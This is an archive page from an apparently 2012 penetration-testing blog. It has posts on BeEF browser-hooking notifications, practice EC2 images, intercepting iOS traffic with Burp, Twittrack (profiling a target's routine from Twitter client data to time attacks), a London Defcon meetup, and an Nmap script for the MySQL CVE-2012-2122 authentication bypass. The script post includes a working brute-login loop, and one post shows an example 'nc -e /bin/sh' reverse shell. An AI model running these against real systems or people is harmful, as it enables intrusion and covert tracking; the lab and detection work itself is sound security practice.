Penetration Testing Command Line Fu: @pentestcli

Over the years there’s tonnes of little code snippets, one-liners and bits of shell fu I’ve written or found which have helped me along the way in both penetration testing and general systems administration. I’m a huge fan of the Command Line Kung Fu blog and Command Line Magic’s Twitter feed and have been known to dabble in a bit of code golf in my younger days. When faced with a task that has the slightest possibility of being repeated I often write some script or other to solve a problem that could have been done manually in a tenth of the time, justifying this process with the fact that ‘next time’ it’ll be quicker. Well, next time I have to look up how to do it all over again!

For a little while now I had the idea of creating a Twitter feed for the purpose of sharing and recording one-liners and short scripts related to penetration testing. The general idea being that I only have to look in one place now! I wanted it to be collaborative so people can suggest stuff and it’ll get retweeted for others to see and hopefully use. I finally got around to setting it up and you can follow it at @pentestcli.

Some general guidelines for it:

  • Mostly commands will need to fit in < 140 characters, I will rarely to link to external stuff unless it’s really worth it.
  • Any language/CLI/OS type is acceptable.
  • Commands can be stuff you’d run on your own box, or stuff you’d run on a pwned box.
  • Give attribution and play nice. I can’t check every mention I get so if it’s not yours, mention where you got it from.
  • I will RT valid looking commands but I’m not going to verify every single one. You’re expected to know what a command will do, why you might use it and how to protect yourself if it doesn’t do what you thought. If someone posts the equivalent of sudo nc -e /bin/sh 1.1.1.1 4444 and I let it through and you run it, you’re on your own. :-)

That’s it really. As they say, if you find it useful tell others, if you don’t tell me.

If you have any pentest CLI fu suggestions just tweet and mention @pentestcli.

Posted in Security

Introducing BeEF Notifications

Beef

I’m a big fan of BeEF. Of course, while the steak above is very tasty I’m actually referring to the awesome Browser Exploitation Framework. I use it a fair bit on web app and social engineering engagements. I tend to deploy it to a VPS box but found I was often wanting to leave it running and get a notification when a new browser joined the horde.

This functionality didn’t exist until…tonight. I’ve just coded it up and it’s working pretty well. I’ve submitted a pull request to the core framework so, in one form or another it will hopefully be available to everyone soon. In the meantime you can fork my version of BeEF from Github at https://github.com/offensivecoder/beef if you want some notification goodness.

Supported channels

At the moment the notifications extension supports two “channels” for delivering messages; Twitter and Email. To enable Twitter notifications you will need to create an app at https://dev.twitter.com. This is very straightforward and a walkthrough follows. The Email side of things is much easier, just supply to and from email addresses, an SMTP server IP address and port number. At the moment I’ve kept it simple and it doesn’t support AUTH or TLS. The underlying Ruby gem does support these though so get hacking if you want that functionality.

Configuring Twitter Notifications

The first step is to create an app at https://dev.twitter.com. You don’t have to use your normal Twitter account to create the app but whichever Twitter account you use must be able to send a Direct Message to your nominated receiving account. For the purposes of this walkthrough I will be creating an app under my @offensivecoder Twitter account, with notifications being sent by DM to my regular account @marcwickenden.

1. Create Twitter Application

Go to https://dev.twitter.com/apps/new – sign in with your Twitter account if you aren’t already signed in – and complete the details of the application. Each app name must be unique across the whole of Twitter so you can’t use the same example as I’ve used below.

Creating a Twitter application for BeEF notifications

Scroll down the page, solve the CAPTCHA, agree to the terms and conditions and save the app.

The next thing you need to do is increase the permissions level. By default it is read-only which is no good for sending Direct Messages. From the app details screen click on Settings then scroll down to Application Type and click the radio button for Read, Write and Access direct messages.

Next we need to generate our OAuth access token and secret. I’m not going to explain OAuth in this post but the app you are creating is a consumer, Twitter is the provider and your Twitter user account is ultimately the thing you need to provide the app with access to. Wikipedia is a good place to start if this whole thing confuses you.

Back on the Details tab for the app, scroll down. Right at the bottom is a big blue button which says “Create my access token” – click it.

Now on the details screen there are four values we need to make a note of for use in the notifications configuration file.

 
I should point out that this is almost as good as the password for your Twitter account. If someone else got hold of these details they can read and post to Twitter as this account so look after them (and certainly don’t take a screenshot and include it in your blog post! ;-) ).

The four values we need are:
  1. Consumer Key
  2. Consumer Secret
  3. Access Token
  4. Access Token Secret

2. Configure BeEF
Now we’ve set up Twitter we can go and edit the BeEF configuration to enable notifications, enable Twitter and add in the authentication details we generated in the previous step.
In the directory where you’ve cloned BeEF open extensions/notifications/config.yaml in your favourite editor (which is surely vim?). By default it looks like:
beef:
    extension:
        notifications:
            enable: false
            name: Notifications
            twitter:
              enable: false
              consumer_key: app_consumer_key
              consumer_secret: app_consumer_secret
              oauth_token: your_oauth_token_for_this_app
              oauth_token_secret: your_oauth_token_secret_for_this_app
              target_username:
            email:
              enable: false
              from_address: sender_email_address
              to_address: receipient_email_address
              smtp_host: 127.0.0.1
              smtp_port: 25

view raw config.yaml This Gist is brought to you using Simple Gist Embed.
Firstly enable notifications, then enable Twitter and finally add the auth details so you end up with something like this:
beef:
    extension:
        notifications:
            enable: true
            name: Notifications
            twitter:
              enable: true
              consumer_key: joGGGIDMhmmmbwr7i2zpA
              consumer_secret: cGVgNnTmN3SkMhmmmYLVdYlZYIOP3w
              oauth_token: 555368840-vW1Qq3wQOPpL7dMhmmmma6i2tDkMo5EN8xq8PHr3f
              oauth_token_secret: Xw11kAtldWUo0HFCMhmmmrnqVAbkFLOmIs950edNMo
              target_username: marcwickenden
         email:
              enable: false
              from_address: sender_email_address
              to_address: receipient_email_address
              smtp_host: 127.0.0.1
              smtp_port: 25

view raw config.yaml This Gist is brought to you using Simple Gist Embed.
3. Get Notified
Start BeEF up in the normal way (./beef) and hook a browser to test it out. If all goes well you should get this:
Now you can go about your business and BeEF will let you know when something interesting has happened. :-)
Tagged with: , , , , ,
Posted in Security, Web App

[Quick Post] Public EC2 AMIs for Web App Hacking practice

Hack The Cloud

Hack The Cloud

This is just a quick post following a brief conversation I had on Twitter earlier. It reminded me that I created two Amazon EC2 public AMIs a few weeks ago which can be used for practising Web App security assessments.

At some point maybe I’ll get around to writing up a proper howto but for now I’ll assume those of you out there who are interested will either know, or be able to work out, the steps required to boot one of these.

I plan to create quite a few of these as I find EC2 a very useful (and free) alternative to running a VM server at home sometimes. For now though there are just two. When you boot the instance it will add your SSH public key to ~ubuntu/.ssh/authorized_keys.

DVWA

DVWA is a great place to start when learning about webapp security. The AMI image is built on the Amazon recommended Ubuntu Server 12.04 LTS image. On top of this I added XAMPP and DVWA in the default DocumentRoot. DVWA is already set up and the XAMPP stack should auto-start so, in theory all you need to once you’ve fired up an instance is point your web browser at the public DNS hostname. Please remember to firewall this bad boy off with an appropriate Security Group in EC2 otherwise your shiny new instance will probably get auto-popped by a skiddie pretty soon after you start playing with the security levels. :-)

The AMI id for this image is: ami-db2226af

Hive B-Sides London Challenge

I couldn’t resist flogging this horse a little longer. If you want your very own copy of my B-Sides London 2012 Web Hacking Challenge you can fire up this instance. Again it’s built on Ubuntu Server 12.04 LTS (people seem to like this…prefer Debian myself but Amazon suck for decent Debian images). This time though it has a “proper” installation of Apache, chrooted, MySQL, Redis, etc all installed.

Again, it should all just start up so you can point your web browser to the public DNS hostname and away you go.

The AMI id for this image is: ami-7f2a2e0b

 

Happy hacking. If there are any problems with either of the images please report them to marc at offensivecoder.com or ping me on Twitter. Ideas for new images also welcome.

 

Tagged with: , , , , ,
Posted in OWASP, Security, Training, Web App

How to add Burp CA Certificate to iPad or iPhone

A guy can never feel complete as a technical security blogger until they’ve written a post about how to add the Burp CA cert into an iOS device – so here’s mine!

As a consultant and tester I’m doing more and more with mobile devices. Most apps make some kind of Internet connection so it makes sense that we’ll want to proxy that through something useful like Burp. When you’re doing web application testing *most* of the time the client is a web browser and these are pretty good at popping up a warning about untrusted SSL certificates, even on an iOS device you get this option in Mobile Safari. Apps however don’t offer this same choice, the cert is either trusted and valid or it’s not. If you want to intercept HTTPS traffic with Burp you’re going to need to import your Burp CA cert to the iOS device’s cert store.

So, here we go then. First things first we need a copy of the Burp CA cert. The easiest way to do this is on a desktop machine and export it using Firefox. I’m going to assume you’ve already configured your proxy settings in Firefox to point to your Burp instance. Now try and access an HTTPS web site, it doesn’t matter which one – use https://offensivecoder.com if you like. ;-)

The browser will throw up this warning:

Expand the “I Understand The Risks” section and click “Add Exception”

What we need to do is view the certificate chain. Click on View and you’ll be presented with the General tab of the Certificate Status window:

Click on Details and highlight the top most certificate in the list. This is important, we need the top of the chain. The cert will be called PortSwigger CA:

With the top-most certificate in the hierarchy highlighted click on Export. You will be presented with a Save Certificate To File box. Save the file wherever suits, I put mine on the Desktop but make sure you add a .crt suffix to the filename. This will be important for the iOS device later to recognise what to do with it.

With the file saved we now need to get the cert onto the iOS device. There’s a gazillion ways to do this but the simplest is just to email it to an account you can access from that device. I’m sure you don’t really need a how to on emailing an attachment but, for completeness, here goes:

 

 

 

 

Now we move over to the target iOS device. In my case it’s an iPad but the instructions are the same for an iPhone….or an iPod Touch (or whatever they’re called these days). First open the email and click on the attachment:

Click on Install to begin the import process:

Click Install in the top right corner and you will (likely) be prompted for a passcode or password:

Put in 1234 (that is your passcode right?) or whatever your passcode is.

And that’s it. Your shiny iDevice’s HTTPS traffic can now be intercepted using Burp. Have fun!

Tagged with: , , , , , , , , , ,
Posted in Mobile, Security

Twittrack: tracking Twitter users by their client

This is a really quick post until I get some more time to look at it.

Earlier I was thinking about my average day on Twitter and which devices I use to access it. Typically I use my iPad or my work PC and a browser to access Twitter during the working day. When I’m away from my desk or have stopped working I’m probably on my iPhone or my Mac.

I was thinking you could probably begin to build a nice profile of a user’s movements just by tracking their client usage. It won’t tell you exactly where they are but it will give you an indication of what they are doing.

For example, you see tweets all day from “Web”, which for arguments sake you know is a PC you want to target. You know from profiling the user that around 5pm they will start tweeting from a mobile device meaning they’ve left the office. Depending on your attack – ie, client interaction required or not – you can start to decide when you are going to launch it.

I chucked together some really quick ruby which will query for the last 200 tweets of a specified user and store the details in a sqlite3 database. It checks to see if it already has tweets for the user specified and adjusts its Twitter API call to retrieve only tweets since that one. This means you shouldn’t end up with duplicate data but, it’s alpha software so you might.

The program is called Twittrack and you can clone it from my Github repository now and have a play. You will need to create an application at dev.twitter.com in order to create OAuth credentials to access the Twitter REST API.

Edit these in the twittrack script in the section where it says:

# configure our Twitter client
Twitter.configure do |config|
config.consumer_key = ”
config.consumer_secret = ”
config.oauth_token = ”
config.oauth_token_secret = ”
end

Once you’ve done this, you’ll need a few gems:

gem install twitter data_mapper sqlite3 dm-sqlite-adapter

I had a couple of issues with multi_json conflicts which I resolved by editing the specifications file for the dm-serializer and dm-types gems in $GEM_PATH. YMMV, ping me if you can’t figure it out.

Now you can go ahead and initialise the database:

$ ./twittrack –setup
I, [2012-06-21T02:32:39.705084 #29652] INFO — : Resetting database

Then just run the script again with the username you wish to monitor. It will retrieve the last 200 tweets. You might get a few exceptions raised, I haven’t got around to error handling yet (it is 02:30).

$ ./twittrack marcwickenden
since_id is not set
./twittrack:98:in `block in <;main>;’: undefined method `text’ for nil:NilClass (NoMethodError)
from ./twittrack:96:in `each’
from ./twittrack:96:in `<;main>;’

No fancy front-end for this yet but you can do a simple query of the database. I will put some breaks in for comments below:

$ sqlite3 db/twittrack.db
SQLite version 3.7.7 2011-06-25 16:35:41
Enter “.help” for instructions
Enter SQL statements terminated with a “;”
sqlite>; select created_at, source from tweets where screen_name = ‘marcwickenden’;

2012-06-20T23:58:57+01:00|Twitter for Mac
2012-06-20T23:24:47+01:00|Twitter for Mac <;- sitting down at my Mac around 23:24 - about to start coding this :-)
2012-06-20T23:15:52+01:00|Tweetbot for iOS
2012-06-20T23:08:42+01:00|Tweetbot for iOS
2012-06-20T23:08:08+01:00|Tweetbot for iOS
2012-06-20T22:35:58+01:00|Tweetbot for iOS
2012-06-20T22:28:21+01:00|Tweetbot for iOS
2012-06-20T22:26:53+01:00|Tweetbot for iOS
2012-06-20T22:22:36+01:00|Tweetbot for iOS
2012-06-20T22:18:39+01:00|Tweetbot for iOS
2012-06-20T22:16:24+01:00|Tweetbot for iOS
2012-06-20T22:11:20+01:00|Tweetbot for iOS
2012-06-20T18:34:26+01:00|Tweetbot for iOS
2012-06-20T18:32:40+01:00|Tweetbot for iOS
2012-06-20T18:31:26+01:00|Tweetbot for iOS
2012-06-20T18:27:49+01:00|Tweetbot for iOS
2012-06-20T18:16:36+01:00|Tweetbot for iOS <;- no tweets all afternoon, busy, busy. Now back on iPhone
2012-06-20T12:42:24+01:00|Twitter for iPad
2012-06-20T12:41:26+01:00|Twitter for iPad
2012-06-20T12:25:54+01:00|Tweetbot for iOS <;- on iPhone. Making some lunch maybe at 12:25?
2012-06-20T12:20:14+01:00|Twitter for iPad
2012-06-20T12:17:39+01:00|Twitter for iPad
2012-06-20T11:51:24+01:00|Twitter for iPad
2012-06-20T11:23:19+01:00|Twitter for iPad
2012-06-20T11:22:25+01:00|Twitter for iPad <;- now onto the iPad. Must have been working for a few hours
2012-06-20T07:10:48+01:00|Tweetbot for iOS <;- on the iPhone at 07:10. Just got up?
2012-06-20T00:16:44+01:00|Twitter for Mac <;- first tweet on 20th just after midnight on Mac. Late night.

The end of 19th June
2012-06-19T23:23:51+01:00|Tweetbot for iOS
2012-06-19T23:22:38+01:00|Tweetbot for iOS
2012-06-19T22:29:19+01:00|Tweetbot for iOS
2012-06-19T22:27:52+01:00|Tweetbot for iOS
2012-06-19T22:21:41+01:00|Tweetbot for iOS
2012-06-19T22:15:33+01:00|Tweetbot for iOS
2012-06-19T22:13:21+01:00|Tweetbot for iOS
2012-06-19T21:28:56+01:00|Tweetbot for iOS
2012-06-19T20:19:54+01:00|Tweetbot for iOS
2012-06-19T19:53:42+01:00|Tweetbot for iOS
2012-06-19T18:53:27+01:00|Camera on iOS
2012-06-19T18:43:26+01:00|Tweetbot for iOS
2012-06-19T12:02:51+01:00|Tweetbot for iOS
2012-06-19T11:59:51+01:00|Tweetbot for iOS
2012-06-19T11:55:25+01:00|Twitter for iPad

This was just a quick idea. Maybe it’s useful, maybe not but I think it’s interesting. Play around and see what data you can find.

UPDATE 13/7/12 The CLI tool was ok but a bit of a faff to get running so I wrote a web version of this app. You can check it out at twittrack.offensivecoder.com.

Posted in Security

DC4420: London Defcon chapter FTW!

DC4420 logo

I just got back from my regular trip to the big smoke each month to attend the London Defcon chapter DC4420. I have such a good time each month that I thought I’d quickly write up my experience of it and try and explain why, if you’re close enough, you really should attend.

I’ve been in Information Security for quite a while now but only in the past year and a half have I realised quite what a community of infosec peeps there are pretty much on my doorstep. I’d been looking around trying to find a bunch of hackers to hang out with and I’d seen DC4420 mentioned a few times but something stopped me going down.

If I’m honest I was expecting some sort of 2600 where I’d be made to feel like an outsider if I didn’t introduce myself in hex and have a Nokia N900 with some sort of custom Linux firmware. I’ve nothing against 2600′s, I desperately wish there was one I could attend nearby but they do have a reputation for being cliquey.

In 2011 Security B-Sides London was created and hosted for the first time. I had fairly recently joined Twitter and picked up on this new conference. I was lucky enough to get a ticket and headed down. As luck would have it, the after-party was at DC4420 which was being hosted the same night. I went along and had such a blast talking to loads of infosec people I’d “met” on Twitter and read blogs by, etc. I felt strangely at home.

The B-Sides event was a bit of an unusual affair so I thought I’d head down again the next month to see what a normal meet was like.

DC4420 is hosted at The Phoenix pub in Cavendish Square, just off Oxford Street. The evening is hosted as a private function with exclusive use of the basement bar area. Doors open around 5:30pm with the bar available from 6pm. The food is great too. The place starts to busy up from 6-6:30pm usually. Dress code is…there is no dress code. Typically people are in hacker t-shirts as you’d expect but many people are heading straight from the office or client site and are still in a suit. Around 7pm Major Malfunction and/or Alien kick off proceedings with an introduction. The line goes something like:

The first rule of DC4420 is – you DO talk about DC4420.

The second rule of DC4420 is – you DO talk at DC4420.

There is a third rule I think about first timers having to speak but you get the point. Everyone is encouraged to speak to everyone else, say hi and generally mingle. To help the process along we go around the room and everyone is asked to shout out who they are and what interests them. Every month without fail someone says “I’m name and I’m an alcoholic” and every month everyone laughs and it’s all good. The idea is obviously to help with introductions but also people are often working on the same problems and sometimes little projects and collaborations spring out of these simple intros.

There is always some friendly banter during this section of the night and usually most people are a couple of beers in so things are loosening up nicely. After a short fifteen minute break the first talk is usually held around 7:30pm. Talks can be on any number of subjects and the DC4420 guys are always looking for talks so ping them at the website above if you’ve an idea. I’ve seen uber techie talks through to randomness through to fun stuff like hacking a car together for the annual charity trip to the continent (yeh, I forgot what it’s called – feel free to tell me and I’ll update).

Tonight Campbell Murray gave a presentation about the recent MySQL authentication bypass. It was an interesting talk about a subject I recently blogged on in my attempts to write a first Nmap NSE script. I got a mention in his presentation for that so thank you! :-)

There was a lot of audience participation and plenty of good comments and observations. One of the best things about DC4420 is how it mixes a technical audience with a more managerial one. Infosec is not a one tricky pony and while it’s true, the majority of attendees seem to be “penetration testers” there’s a good chunk of malware people, sysadmins along with less technical infosec people and recently, normally at least one journalist. Infosec really is the new buzz topic it seems.

We had input from C developers who couldn’t believe the bug existed in the first place through to admins who point out that putting a MySQL box on the Internet is probably not a good thing to do in the first place.

Some months there is also a fun talk after the main talk. There is always time in-between to charge your glass from the many real ales on tap and say hi to some new people. I usually hang around afterwards until around 9:45 and there’s always plenty of people still there at that point. It’s a five minute walk to Oxford Circus tube station and five minutes on the tube to Kings Cross so it’s pretty easy to get to, especially from the north of London.

So, in summary, DC4420 is a very social place, you get to meet lots of like-minded people, drink some good beer, eat some good food and listen to some interesting talks. The trip for me is just under an hour and a half each way and I think that is time well invested. If you weren’t sure whether to come along or not, what are you waiting for? I’ll see you there next month.

 

Tagged with: , , , ,
Posted in Security

Nmap NSE Howto: MySQL Auth Bypass

A recently disclosed critical vulnerability in MySQL authentication on some platforms gave me just the excuse I needed to write my first Nmap NSE script. @jcran produced a metasploit module to find and exploit the MySQL bug so I thought I’d try and fill a gap in the Nmap world.

First thing I needed was a vulnerable host to scan. I didn’t have anything in my VM collection already so I took advantage of some Free Tier Amazon EC2 time and fired up a 64-bit Ubuntu 12.04 AMI. Specifically I fired up a micro instance of ami-e1e8d395 which is the suggested Ubuntu image on the wizard screen. I left everything as default and once it was running ssh’ed in.

MySQL isn’t installed by default on this image so I had to install it. Installing it is as simple as:

sudo apt-get install myql-server

I specifically didn’t run an apt-get update on this server before I installed MySQL just in case I ended up with a patched version. The version I’ve got is 5.5.22-0ubuntu, anything later and it’s probably fixed. I quickly verified it was vulnerable before proceeding:

ubuntu@ip-10-227-118-34:~$ for i in `seq 1 1000`; do mysql -u root –password=cve-2012-2122 -h 127.0.0.1 2>/dev/null; done
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 424
Server version: 5.5.22-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.

mysql>

The first time you see this work you realise just how scary this bug is. I also can’t help but wonder how long bad people have known about it.

With a confirmed vulnerable installation I set about configuring it for remote access.

Edit /etc/mysql/my.cnf, find the line which says:

bind-address            = 127.0.0.1

and change it to:

bind-address            = 0.0.0.0

and restart MySQL:

sudo /etc/init.d/mysql restart

Ignore all the Ubuntu rubbish about using Upstart, yada-yada, whatever, init wasn’t broke but thanks for fixing it.

The next hurdle is that, by default, the root account is the only one and it is not authorised to connect from any host other than localhost. I don’t want to develop on the EC2 instance and I also want to verify it’ll work for hosts across a “proper network”. To solve this I created an empty database and a user with access to it from any IP address.

mysql> create database nsetest;

mysql> grant all on nsetest.* to nse@’%’ identitifed by ‘dodgypass’;

The % in the above is the wildcard character meaning any host. Running our bash for loop from above against the remote database this time and using the nse user verified the vulnerability existed remotely.

# for i in `seq 1 1000`; do mysql -u nse –password=cve-2012-2122 -h ec2-46-137-134-79.eu-west-1.compute.amazonaws.com 2>/dev/null; done
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 401
Server version: 5.5.22-0ubuntu1-log (Ubuntu)

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.

mysql>

With the testing lab ready I turned my attention to writing the NSE script. As ever, the best place to start is with something you know works. On my BT5 VM I had a look in /usr/local/share/nmap/scripts to see what there was already for MySQL.

# ls -l /usr/local/share/nmap/scripts/mysql-*
-rw-r–r– 1 root root 6099 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-audit.nse
-rw-r–r– 1 root root 2268 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-brute.nse
-rw-r–r– 1 root root 2895 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-databases.nse
-rw-r–r– 1 root root 1799 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-empty-password.nse
-rw-r–r– 1 root root 4855 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-info.nse
-rw-r–r– 1 root root 2687 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-users.nse
-rw-r–r– 1 root root 3100 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-variables.nse

I decided mysql-empty-password.nse was the closest to what I was trying to do so I made a copy in my ~/Development directory and started hacking away at it. The actual process of writing a LUA script is pretty hard to describe but what I’ll do now is break the script down into different sections and try and explain what is happening. As with all these sorts of things, there are standards involved (anyone who’s ever coded for Metasploit will know exactly what I’m talking about).

If you want to follow along at home, the entire script is in my Github repo at https://github.com/offensivecoder/nmap-nse-scripts/blob/master/mysql-auth-bypass.nse. The file starts with information about the script, its capabilities, author, output example and license:

description = [[
Checks for MySQL servers vulnerable to the authentication bypass CVE-2012-2122
posted to http://seclists.org/oss-sec/2012/q2/493
]]

---
-- @output
-- 3306/tcp open mysql
-- | mysql-auth-bypass:
-- |_ user root is vulnerable to auth bypass


author = "Marc Wickenden"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "vulnerability"}

Of the above probably the most important thing to get right is the categories. When you are running Nmap NSE scripts you can specify to run all scripts of a certain category. If you write a script like this which exploits a bug but you put it down as ‘safe’ you’re inviting a whole world of trouble. A full list of categories is available at http://nmap.org/nsedoc/categories/.

Next up are library imports. LUA, like most languages, allows the creation of library files in which to group common functions. I used the following:

require 'shortport'
require 'stdnse'
require 'mysql'
require 'unpwdb'

From what I can tell, you’ll pretty much use shortport in every NSE script you’ll ever write. It provides common functions for managing network connections.

stdnse provides various handy and common functions including those which handle printing output.

mysql provides simple MySQL functions like login and query execution.

unpwdb is a really interesting library. Nmap NSE comes with a built in ‘database’ of common usernames and passwords along with this set of functions to interact with it.

We then add version information as a comment. Comments in LUA are preceded with — (double dash).

-- Version 0.1
-- Created 11/06/2012 - v0.1 - created by Marc Wickenden <marc@offensivecoder.com>, based on nse script by Patrik Karlsson

Each NSE script must contain one of the following four functions:

prerule()
hostrule(host)
portrule(host, port)
postrule()

I won’t rehash the documentation too much here but we are interested in a portrule which will run after the specified nmap scan has completed. A portrule runs when you identify a port which meets a certain criteria. In our case we want an open tcp port 3306 (the MySQL default).

portrule = shortport.port_or_service(3306, "mysql")

Next we define an action function. This will be triggered by the portrule if our open port condition is met. This is where we get our hands dirty.

action = function( host, port )

  local socket = nmap.new_socket()
  local catch = function() socket:close() end
  local try = nmap.new_try(catch)
  local result = {}

First thing to comment on, indentation. LUA does not require indentation but frankly, unless you’re playing code golf you’d be crazy not to indent and make the code readable. I use a two space indent because I’m that way out.

So we’re defining the action function. It takes two parameters, host and port which are given to it by NSE magic. We don’t need to worry too much about that in this exercise.

Next we define four local variables. LUA has global and local variable scope. Anything not defined as local is global.

socket = nmap.new_socket() returns an NSE socket object.

catch is a function we will use if we encounter any exceptions. You can call this what you like. It just closes the socket.

try uses the Nmap new_try API call. new_try sets up an exception handler and, if passed a function as above nmap.new_try(catch) it will execute that function if an exception occurs.

Lastly we define an empty LUA table called results in which to store our results later.

The next few lines are pretty self-explanatory.

  -- set a reasonable timeout value
  socket:set_timeout(5000)

  -- get our usernames to try
  local usernames = try(unpwdb.usernames())
  local password = "cve-2012-2122"

We set a socket timeout of 5000 milliseconds (that’s 5 seconds y’all) in case something goes wrong with the connection.

The usernames line is important. This builds a table of usernames by calling the unpwdb.usernames() function. The unpwdb.usernames function keeps returning usernames from the in-built list (or your list if specified) until they are exhausted or timeout settings are reached.

Finally we set a password to use for all the login attempts. We set this to something we don’t expect to work.

Now we enter a loop through the usernames table, for each username we try up to 300 login attempts with the same password.

  for username in usernames do
    stdnse.print_debug( "Trying %s ...", username )

    -- try up to 300 times to trigger the vuln
    for i = 0, 300, 1 do
      stdnse.print_debug(2, "attempt number %d", i )

      local status, response = socket:connect(host, port)
      if( not(status) ) then return " n ERROR: Failed to connect to mysql server" end

for loops in LUA are easy: for condition do –something end. We have two above. The outer loop is iterating through the usernames table we built earlier, storing the returned value in username and then entering the loop.

stdnse.print_debug will print out the text Trying username if nmap debugging is set to 1 or more (nmap -d).

The inner for loop sets a variable i to 0, the maximum count to 300 and the step to increment as 1. Basically, it’ll perform 300 (well 301 to be specific as I started at 0 – oops, off by one error) iterations of the upcoming code. As the MySQL bug is triggered on a 1 in 255 chance I figured this should be enough though I’ve seen elsewhere people having problems with this and ending up with numbers like 10,000 attempts.

If nmap debugging is set to 2 (nmap -d -d) then the attempt number will be printed.

local status, response = socket:connect(host, port) attempts a connection to host, port returning an error on the next line if status is not defined.

      status, response = mysql.receiveGreeting( socket )
      if ( not(status) ) then
        stdnse.print_debug(3, SCRIPT_NAME)
        socket:close()
        return response
      end

This part of the code uses the receiveGreeting function from the NSE MySQL library in order to handle the data sent back by the MySQL server. The following screenshot from Wireshark (click to enlarge) shows a decoded version of the MySQL greeting.

Pay particular attention to the salt as this is used in the next section of the code. A new salt is generated for every connection request, this is why we perform a new connection on each iteration of this loop rather than firing multiple authentication requests down a single TCP connection (yes, I learned that the hard way).

      status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
      if response.errorcode == 0 then
        table.insert(result, string.format("user %s is vulnerable to auth bypass", username ) )
        break
      end

This is the meat and potatoes now. mysql.loginRequest is a part of the mysql NSE library and sends, as its name suggests, a login request. Note the use of our username and password variables and the salt from the response. This is all put together by the loginRequest function to create a MySQL login hash which is then sent over our socket.

If the errorcode returned in the response to our login request is 0 it means we had a successful login. If that’s the case we use the LUA table.insert function to append a string containing details of the successful to the result table we created earlier. If we got a successful auth we also issue a break which stops the loop.

Next we close our loops and issue a socket:close() to tidy up our connection.

      socket:close()
    end
  end

Finally we output our result table using the stdnse.format_output function which gives that pretty hierarchical view we put in the comments for @output right at the start.

  return stdnse.format_output(true, result)

end
view raw file1.lua This Gist is brought to you using Simple Gist Embed.

And that’s it. The script is done. By default, the nmap username database will not contain the value nse which we set up earlier as our vulnerable user so we will need to specify our own usernames file. To do this we can do the following:

echo nse > usernames.txt

Now we are all ready to run it against our vulnerable MySQL EC2 instance.

# nmap --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args="userdb=usernames.txt" ec2-46-137-134-79.eu-west-1.compute.amazonaws.com

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:58 BST
Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)
Host is up (0.050s latency).
PORT STATE SERVICE
3306/tcp open mysql
| mysql-auth-bypass:
|_ user nse is vulnerable to auth bypass

Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds

Nice. If you want a bit more verbosity then add the -v and -d (or -d -d) flags too.

# nmap -v -d --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args="userdb=usernames.txt" ec2-46-137-134-79.eu-west-1.compute.amazonaws.com

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:59 BST
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
---------------------------------------------
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
mass_rdns: Using DNS server 8.8.8.8
Initiating Parallel DNS resolution of 1 host. at 14:59
mass_rdns: 0.00s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
Completed Parallel DNS resolution of 1 host. at 14:59, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:59
Scanning ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79) [1 port]
Packet capture filter (device eth1): dst host 10.150.0.143 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 46.137.134.79)))
Discovered open port 3306/tcp on 46.137.134.79
Completed SYN Stealth Scan at 14:59, 0.05s elapsed (1 total ports)
Overall sending rates: 18.58 packets / s, 817.43 bytes / s.
NSE: Script scanning 46.137.134.79.
NSE: Starting runlevel 1 (of 1) scan.
NSE: Starting mysql-auth-bypass against 46.137.134.79:3306.
Initiating NSE at 14:59
NSE: Trying nse ...
NSE: Finished mysql-auth-bypass against 46.137.134.79:3306.
Completed NSE at 15:00, 16.25s elapsed
Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)
Host is up, received user-set (0.052s latency).
Scanned at 2012-06-12 14:59:58 BST for 16s
PORT STATE SERVICE REASON
3306/tcp open mysql syn-ack
| mysql-auth-bypass:
|_ user nse is vulnerable to auth bypass
Final times for host: srtt: 51988 rttvar: 51988 to: 259940

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Read from /usr/local/bin/../share/nmap: nmap-payloads nmap-services.
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (44B)

After all this it turned out that someone on the nmap-dev mailing list had already put together a far more comprehensive solution which ports the automatic hash dumping of @jcran’s metasploit module to boot. You can see that here http://seclists.org/nmap-dev/2012/q2/679.

However, for an hour’s coding – and that really is all this took – I now know how to code some basic LUA and put together an Nmap script. This has to be a good thing.

 

Tagged with: , , , , ,
Posted in Networks, Security, Tools

mysqlcheck.com: It’s so wrong but so right

